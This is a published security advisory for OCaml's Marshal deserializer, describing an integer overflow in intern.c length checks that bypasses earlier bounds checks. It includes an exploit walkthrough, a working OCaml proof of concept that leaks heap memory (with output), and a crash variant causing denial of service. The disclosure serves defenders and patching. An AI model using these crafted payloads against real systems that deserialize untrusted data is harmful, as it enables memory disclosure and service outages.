OSEC-2026-18

    Dashboard / Vulnerabilities / OSEC-2026-18

    OSEC-2026-18

    Published: 10 Sept 2026Last Modified: 10 Sept 2026
    Aliases:

    Summary: Marshal integer overflow leads to out-of-heap read

    Details: An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`). ## Root cause `runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap: ```c /* caml_input_val_from_bytes, intern.c:1038 */ if (ofs + h.header_len + h.data_len > caml_string_length(str)) caml_failwith("input_val_from_string: bad length"); ``` `h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len >= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes. The CVE-2026-28364 fix introduced: ```c /* intern.c:1043 (added by the fix) */ s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */ ``` `intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len > end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer. The OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via `caml_marshal_data_size` (intern.c:1116-1150): ```c return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */ ``` `Marshal.from_bytes` (marshal.ml:55-62) calls `data_size_unsafe` first, gets a wrapped `len` (0 or negative), and its re-check `ofs > Bytes.length buff - (header_size + len)` passes. The same unchecked wrap exists in `caml_input_value_from_buffer` (intern.c:1080), used by the public C API `caml_input_value_from_block` and `caml_input_value_from_malloc` - these have no OCaml-side validation at all. ## Exploit path 1. Craft 32-byte header: `Intext_magic_number_big` + 4 padding bytes + `data_len = 2^64 - 16` + `num_objects = 0` + `whsize = 0`. 2. Append a valid object code byte stream (e.g., a "small string" code `0x3F` = 31 bytes, or `CODE_STRING32` with an arbitrary length). 3. Call `Marshal.from_bytes buf 0` (or `Marshal.from_string`). 4. `data_size_unsafe` returns 0; OCaml-side check passes. 5. C-side check `0 + 32 + (2^64-16) = 16 > len` passes (wrapped). 6. `intern_src_end` wraps to `buf + 16`; all `intern_check_read` pass. 7. `intern_rec` executes `readblock(s, dest, len)` with attacker-chosen `len`, `memcpy`-ing heap memory past the buffer end into the returned string (info leak), or a huge `len` (SIGBUS/SIGSEGV, DoS). ## Proof of concept Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), `ocamlopt`. ### 1. Heap information disclosure (clean, no crash) ```ocaml let () = let buf = Bytes.create 40 in Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95); Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf); for i = 4 to 7 do Bytes.set buf i '\000' done; for i = 8 to 15 do Bytes.set buf i '\xff' done; Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *) for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *) Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *) for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *) let s : string = Marshal.from_bytes buf 0 in Printf.printf "len=%d content=%S\n" (String.length s) s ``` Output (24 bytes past the 40-byte buffer leaked into the returned string): ``` len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000" ``` ### 2. Denial of service (crash) Same header; stream byte 32 = `0x0A` (`CODE_STRING32`), big-endian `0x40000000` (1 GB) length, 37-byte buffer: ``` $ ./crash; echo "exit=$?" exit=138 (128 + SIGBUS) ``` ## Timeline - 2026-08-15: report to [email protected] - 2026-08-25: patch developed - 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches - 2026-09-05: release of OCaml 5.5.1 - 2026-09-10: advisory published

    Affected packages

    Package

    Name: ocaml

    Purl: pkg:opam/ocaml

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -5.5.1

    Affected versions

    3.07

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    OSEC-2026-18 | CVE-DB